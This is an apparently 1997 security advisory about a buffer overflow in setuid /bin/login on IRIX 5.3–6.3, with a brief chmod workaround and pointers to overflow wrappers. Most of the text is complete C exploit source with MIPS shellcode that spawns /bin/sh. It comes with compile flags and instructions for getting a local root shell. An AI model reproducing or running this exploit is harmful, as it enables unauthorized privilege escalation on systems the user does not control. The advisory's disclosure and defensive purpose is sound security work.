COMMAND

    /bin/login

SYSTEMS AFFECTED

    IRIX 5.3, IRIX64 6.2, IRIX 6.3

PROBLEM

    David Hedley  found following.   Yet another  buffer overflow  for
    you.  This time in /bin/login.   Local users can get root  access.
    This was tested on:

    R3000 Indigo (5.3)
    R4400 Indy (5.3)
    R4600 Indy (6.2)
    R5000 O2 (6.3), R8000
    PChallenge (Irix64 6.2)
    Origin200 (6.4 S2MP+OCTANE)

    Compile the exploit  with the '-n32'  flag if compiling  under 6.x
    When run, you  will be prompted  for a password.  Just press enter
    at this point and you will handed a root shell.

    /* /bin/login exploit by DCRH 24/5/97
     *
     * Tested on:   R3000 Indigo (Irix 5.3)
     *              R4400 Indy (Irix 5.3)
     *              R5000 O2 (Irix 6.3)
     *              R8000 Power Challenge (Irix 6.2)
     *
     * Compile as: cc -n32 login.c     (for Irix 6.x)
     *             cc login.c          (for Irix 5.x)
     *
     * Press enter when prompted for a password
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH      200
    #define EXTRA           300
    #define OFFSET          0x1b0
    #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

    #define u_long unsigned


    u_long get_sp_code[] = {
	0x03a01025,         /* move $v0,$sp         */
	0x03e00008,         /* jr $ra               */
	0x00000000,         /* nop                  */
    };

    u_long irix_shellcode[] = {
	0x24041234,         /* li $4,0x1234         */
	0x2084edcc,         /* sub $4,0x1234        */
	0x0491fffe,         /* bgezal $4,pc-4       */
	0x03bd302a,         /* sgt $6,$sp,$sp       */
	0x23e4012c,         /* addi $4,$31,264+36   */
	0xa086feff,         /* sb $6,-264+7($4)     */
	0x2084fef8,         /* sub $4,264           */
	0x20850110,         /* addi $5,$4,264+8     */
	0xaca4fef8,         /* sw $4,-264($5)       */
	0xaca6fefc,         /* sw $4,-260($5)       */
	0x20a5fef8,         /* sub $5, 264          */
	0x240203f3,         /* li $v0,1011          */
	0x03ffffcc,         /* syscall 0xfffff      */
	0x2f62696e,         /* "/bin"               */
	0x2f7368ff,         /* "/sh"                */
    };

    char buf[BUF_LENGTH + EXTRA + 8];

    void main(int argc, char **argv)
    {
	char *env[] = {NULL};
	u_long targ_addr, stack;
	u_long *long_p;
	int i, code_length = strlen((char *)irix_shellcode)+1;
	u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

	stack = get_sp();

	long_p =(u_long *)  buf;
	targ_addr = stack + OFFSET;

	if (argc > 1)
	  targ_addr += atoi(argv[1]);

	while ((targ_addr & 0xff000000) == 0 ||
	       (targ_addr & 0x00ff0000) == 0 ||
	       (targ_addr & 0x0000ff00) == 0 ||
	       (targ_addr & 0x000000ff) == 0)
	  targ_addr += 4;

	for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
	    *long_p++ = IRIX_NOP;

	for (i = 0; i < code_length/sizeof(u_long); i++)
	    *long_p++ = irix_shellcode[i];

	for (i = 0; i < EXTRA / sizeof(u_long); i++)
	    *long_p++ = (targ_addr << 24) | (targ_addr >> 8);

	*long_p = 0;

	printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

	execle("/bin/login", "login", "-h", &buf[1], 0, env);
	perror("execl failed");
    }

SOLUTION

    Temporary fix:

	chmod u-s /bin/login

    Note this  will break  login, although  it should  still work when
    called from telnetd, getty etc

    As for solutions  -- it's wrappers  time.  AUSCERT  wrapper can be
    found at:

    ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

    or

    http://cegt201.bradley.edu/~im14u2c/wrapper/